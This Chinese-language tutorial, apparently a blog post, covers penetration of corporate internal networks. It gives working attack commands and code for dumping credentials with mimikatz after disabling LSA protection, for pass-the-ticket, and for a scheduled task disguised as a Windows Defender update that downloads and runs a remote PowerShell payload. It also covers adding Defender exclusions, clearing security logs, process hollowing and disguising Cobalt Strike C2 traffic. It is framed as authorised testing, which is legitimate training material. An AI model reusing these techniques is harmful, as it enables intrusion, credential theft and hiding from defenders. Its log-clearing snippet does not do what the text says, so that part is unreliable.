1. 内网渗透的典型误区与认知偏差
刚接触内网渗透的新手常会陷入几个思维定式。最常见的就是把内网想象成"缩小版的互联网",认为只要掌握外网渗透技巧就能轻松应对内网环境。实际上,企业内网往往采用完全不同的安全架构和防御策略。
我曾遇到一个典型案例:某次授权测试中,测试者在外网Web应用发现SQL注入漏洞后,直接尝试用sqlmap的--os-shell参数获取系统权限,结果触发EDR告警。正确的做法应该是先收集数据库版本信息,确认是MSSQL再使用xp_cmdshell执行命令,这样能有效规避行为检测。
另一个常见误区是过度依赖自动化工具。很多新手拿到扫描器报告后,不做人工验证就直接提交漏洞。内网中大量老旧系统会对异常请求产生非标准响应,比如:
- 对SMBv1探测返回空数据包
- 老旧OA系统在收到非常规HTTP方法时返回200状态码
- 工业控制系统对异常协议请求保持静默
2. 信息收集阶段的致命疏忽
内网信息收集需要比外网更细致的操作。我曾统计过渗透测试报告中60%的失败案例都源于信息收集不完整。以下是必须关注的要点:
2.1 网络拓扑测绘的隐蔽方法
避免直接使用nmap的-A参数进行激进扫描。推荐分阶段策略:
- 先通过ARP扫描获取存活主机(arp-scan -l)
- 对关键目标使用ICMP Ping扫描(fping -g 192.168.1.0/24)
- TCP SYN扫描仅针对常用端口(nmap -sS -Pn -T3 -n --open)
对于Windows域环境,更隐蔽的方式是:
# 通过LDAP查询域控制器 ldapsearch -H ldap://domain.com -x -s base namingContexts # 获取域内计算机列表 Get-ADComputer -Filter * | Select-Object Name2.2 凭证获取的进阶技巧
在内网中,以下位置的凭证往往被忽视:
- 开发配置文件(web.config、application.properties)
- 自动化脚本中的硬编码密码(Jenkinsfile、Ansible playbook)
- 内存中的明文密码(使用mimikatz的sekurlsa::logonpasswords)
- 浏览器保存的密码(通过LaZagne工具提取)
特别要注意的是,现代Windows系统默认启用LSA保护,需要先解除保护才能获取内存凭证:
# 检查LSA保护状态 reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa # 禁用保护(需要管理员权限) REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 0 /f3. 横向移动中的高频失误
3.1 票据传递攻击的注意事项
当获取到Kerberos票据后,新手常犯的错误包括:
- 在非域成员机器上使用票据(必须先执行klist purge清除本地缓存)
- 未考虑票据有效期(默认10小时,可通过renew-ticket延长)
- 忽略SID过滤机制(需要确保目标服务的SPN正确)
正确的票据传递流程应该是:
# 导出当前会话的Kerberos票据 sekurlsa::tickets /export # 注入高权限票据 kerberos::ptt Administrator.kirbi # 验证票据是否生效 klist3.2 WMIExec的隐蔽用法
传统的wmiexec.py脚本会创建明显的事件日志。改进方法包括:
- 使用无文件落地的执行方式:
impacket-wmiexec -nooutput -debug domain/user:password@target "cmd /c whoami"- 通过DCOM调用MMC20.Application组件:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.1.10")) $com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami","7")4. 权限维持的隐蔽方案
4.1 计划任务的优化配置
避免使用明显的任务名称和触发条件。建议:
- 将任务名称伪装成系统更新(如"MicrosoftEdgeUpdateTask")
- 设置随机触发时间(非整点)
- 使用事件触发器而非时间触发器
PowerShell创建隐蔽任务的示例:
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-nop -w hidden -c 'iex(New-Object Net.WebClient).DownloadString(''http://192.168.1.100/payload.ps1'')'" $trigger = New-ScheduledTaskTrigger -AtLogOn -RandomDelay (New-TimeSpan -Minutes (Get-Random -Minimum 1 -Maximum 30)) Register-ScheduledTask -TaskName "WindowsDefenderUpdate" -Action $action -Trigger $trigger -Force4.2 注册表持久化的新思路
除了常见的Run键,还可以利用:
- 映像劫持(IFEO):
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ - 服务DLL劫持:修改
HKLM\SYSTEM\CurrentControlSet\Services\服务名\Parameters\ServiceDll - COM组件劫持:
HKCR\CLSID\{CLSID}\InprocServer32
特别注意Windows Defender会监控这些关键注册表项,需要先添加排除:
Add-MpPreference -ExclusionPath "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe"5. 痕迹清理与对抗检测
5.1 日志清除的完整流程
不要简单删除整个日志文件,应该针对性清除特定事件ID:
# 查询指定时间的安全日志 Get-WinEvent -FilterHashtable @{LogName='Security'; StartTime=(Get-Date).AddHours(-1)} | Where-Object {$_.Id -eq 4624} # 删除单个事件 $log = [System.Diagnostics.Eventing.Reader.EventLogSession]::GlobalSession $log.ClearLog("Security")更隐蔽的方式是通过事件订阅实现实时日志过滤:
# 创建事件过滤器 $query = @" <QueryList> <Query Id="0"> <Select Path="Security"> *[System[(EventID=4624) and TimeCreated[timediff(@SystemTime) <= 3600000]]] </Select> <Suppress Path="Security"> *[System[(EventID=4624) and EventData[Data[@Name='TargetUserName']='Administrator']]] </Suppress> </Query> </QueryList> "@5.2 内存对抗技巧
针对EDR的内存扫描,可以:
- 使用早期内存分配(Early Bird APC注入)
- 采用进程镂空(Process Hollowing)技术
- 实施堆栈欺骗(Stack Spoofing)
C++实现的进程镂空示例:
HANDLE hProcess = CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); LPVOID pImageBase = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, pImageBase, payloadData, payloadSize, NULL); PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)payloadData; PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)payloadData + dosHeader->e_lfanew); CONTEXT context; context.ContextFlags = CONTEXT_FULL; GetThreadContext(pi.hThread, &context); #ifdef _WIN64 context.Rcx = (DWORD64)pImageBase + ntHeader->OptionalHeader.AddressOfEntryPoint; #else context.Eax = (DWORD)pImageBase + ntHeader->OptionalHeader.AddressOfEntryPoint; #endif SetThreadContext(pi.hThread, &context); ResumeThread(pi.hThread);6. 工具链的定制化改造
6.1 C2框架的流量伪装
避免使用默认的Cobalt Strike配置,建议:
- 修改Malleable C2配置文件中的HTTP头部
- 实现动态URI路径(基于时间或密钥生成)
- 添加合法的网站Referer和Cookie
示例Malleable配置片段:
http-config { set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type"; header "Server" "Microsoft-IIS/10.0"; header "Keep-Alive" "timeout=5, max=100"; header "Connection" "keep-alive"; set uris "/js/jquery.min.js /css/bootstrap.css /images/logo.png"; uri_x86 "/js/jquery-[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.min\.js"; uri_x64 "/css/bootstrap-[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.css"; }6.2 扫描器的行为优化
对常见扫描工具进行以下改造:
- Nmap:修改默认的--max-scan-delay参数(建议设置为500-1000ms)
- Metasploit:调整Exploit目标线程数(set THREADS 3)
- SQLMap:使用--delay和--time-sec参数(建议值分别为2和10)
还可以通过流量镜像实现被动扫描:
# 在网关设备上镜像流量 tcpdump -i eth0 -w /tmp/capture.pcap 'tcp port 445 or tcp port 139' # 离线分析SMB流量 smbclient -L //192.168.1.1 -A creds.txt -g -N | tee smb_enum.log7. 企业内网的特殊考量
7.1 域环境的隐蔽侦察
在Active Directory环境中,避免使用 loud 的查询方式。推荐:
# 使用LDAP过滤器获取高价值目标 Get-ADObject -LDAPFilter "(&(objectCategory=person)(userAccountControl:1.2.840.113556.1.4.803:=65536))" # 查找具有特殊权限的账户 Get-ADGroupMember "Domain Admins" -Recursive | Select-Object Name,DistinguishedName7.2 工业控制系统的注意事项
针对SCADA/ICS系统的特殊要求:
- 避免使用会引发PLC异常响应的扫描(如Modbus功能码0x01)
- 对OPC UA服务器使用合法证书(而非自签名)
- 工业协议的超时设置要更长(建议5-10秒)
Modbus TCP的安全检测示例:
from pymodbus.client.sync import ModbusTcpClient client = ModbusTcpClient('192.168.1.100', timeout=5) try: # 仅读取保持寄存器,避免写操作 response = client.read_holding_registers(0, 10, unit=0x01) if not response.isError(): print("Registers:", response.registers) finally: client.close()8. 法律合规与授权边界
8.1 测试授权的关键要素
确保授权文件包含:
- 明确的IP/URL范围
- 允许使用的技术手段
- 禁止操作的项目清单(如生产数据库)
- 应急联系人和中止条件
8.2 证据保全的最佳实践
建议采用以下流程:
- 使用录像软件记录整个测试过程(推荐OBS Studio)
- 对关键操作进行截图并添加时间水印
- 保存所有工具输出的原始日志
- 使用哈希校验确保证据完整性
# 生成操作记录的SHA256哈希 find /evidence/ -type f -exec sha256sum {} \; > evidence_hashes.txt